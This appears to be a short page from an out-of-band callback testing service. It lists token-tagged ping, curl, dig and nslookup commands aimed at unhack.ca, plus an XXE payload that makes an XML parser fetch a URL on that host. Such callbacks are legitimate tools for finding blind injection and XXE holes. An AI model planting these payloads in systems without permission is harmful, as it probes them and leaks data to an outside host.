$ ping -c1 -p 00b45b077f3f3cd0a7cfaa7fb9f7b700 unhack.ca
 
$ curl http://unhack.ca/p/b45b077f3f3cd0a7cfaa7fb9f7b7
 
$ dig b45b077f3f3cd0a7cfaa7fb9f7b7 @unhack.ca
 
$ dig b45b077f3f3cd0a7cfaa7fb9f7b7.ns.unhack.ca
 
C:\> nslookup b45b077f3f3cd0a7cfaa7fb9f7b7 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/b45b077f3f3cd0a7cfaa7fb9f7b7">]>
    <foo>&xxe;</foo>
Waiting for ping...